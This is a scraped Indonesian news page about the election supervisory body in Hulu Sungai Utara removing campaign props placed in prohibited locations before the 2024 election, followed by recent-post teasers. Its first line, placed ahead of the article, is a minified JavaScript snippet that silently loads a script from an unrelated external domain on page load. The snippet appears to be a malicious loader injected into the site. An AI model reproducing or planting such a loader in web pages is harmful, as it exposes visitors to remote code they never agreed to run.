(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemilu 2024

Pasang di Tempat Terlarang, Bawaslu HSU Bongkar APK Caleg


KANALKALIMANTAN.COM, AMUNTAI – Badan Pengawas Pemilihan Umum (Bawaslu) Kabupaten Hulu Sungai Utara (HSU) bersama tim gabungan menertibkan puluhan Alat Peraga Kampanye (APK) peserta Pemilu 2024 yang penempatannya tak sesuai aturan.

Penertiban dilakukan secara serentak di seluruh kecamatan se Kabupaten HSU sebagai tindak lanjut atas laporan masyarakat dan karena melanggar ketentuan.

APK yang ditertibkan sebagian besar tidak memiliki izin bahkan ada yang dipasang pada tempat terlarang dan mengganggu aktivitas masyarakat.

Baca juga: Kecewa APK Melanggar Tapi Tak Ditindak, Ini Dalih Bawaslu Banjarbaru

Ketua Bawaslu HSU, Marfa’i meminta kepada Caleg masing-masing Parpol agar mentaati ketentuan yang berlaku, sesuai peraturan Pemilu maupun dalam Peraturan Daerah di Kabupaten HSU.

“Pemilu itu kita harapkan adil dan kita mengharapkan APK yang dipasang menjamin keselamatan bagi masyarakat, sehingga APK itu ditempatkan pada tempat-tempat yang tidak dilarang,” ungkap Marfa’i kepada Kanalkalimantan.com, Kamis (1/2/2024).

Menurutnya, disamping sesuai ketentuan dan keamanan, ia berharap penempatan APK itu juga harus sesuai mengedepankan estetika, sehingga APK tidak terkesan semrawut yang mengurangi keindahan lingkungan.

Baca juga: Ikut Simulasi Pencoblosan Suara, Ini Kata Sekda HSU

Selain itu, dirinya juga mengharapkan peran serta masyarakat dalam pengawal jalannya pengawasan Pemilu 2024 yang tinggal beberapa hari lagi.

Terpisah, Ketua Pengawas Kecamatan (Panwascam) Amuntai Tengah, Akhmad Ismail, mengakui masih banyaknya APK yang melanggar ketentuan, mulai dari APK yang berada pada fasilitas umum seperti jembatan, tempat pendidikan, hingga zona hijau.

Diakuinya, dari rute rekomendasi dugaan pelepasan APK di wilayah Kecamatan Amuntai Tengah meliputi 17 desa terdapat 84 APK yang ditertibkan, belum lagi ditambah APK yang terindikasi melanggar ketentuan di seluruh kecamatan di Kabupaten HSU.

Baca juga: Debat Kelima Capres 2024, Aksi Pamungkas Anies, Prabowo dan Ganjar Meraup Suara

“Untuk kemarin ada sekitar 84 APK yang kita tertibkan di wilayah Kecamatan Amuntai Tengah, belum lagi kecamatan-kecamatan lainnya kemungkinan jadi ratusan,” bebernya.(Kanalkalimantan.com/dew) 

Reporter : dew

Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.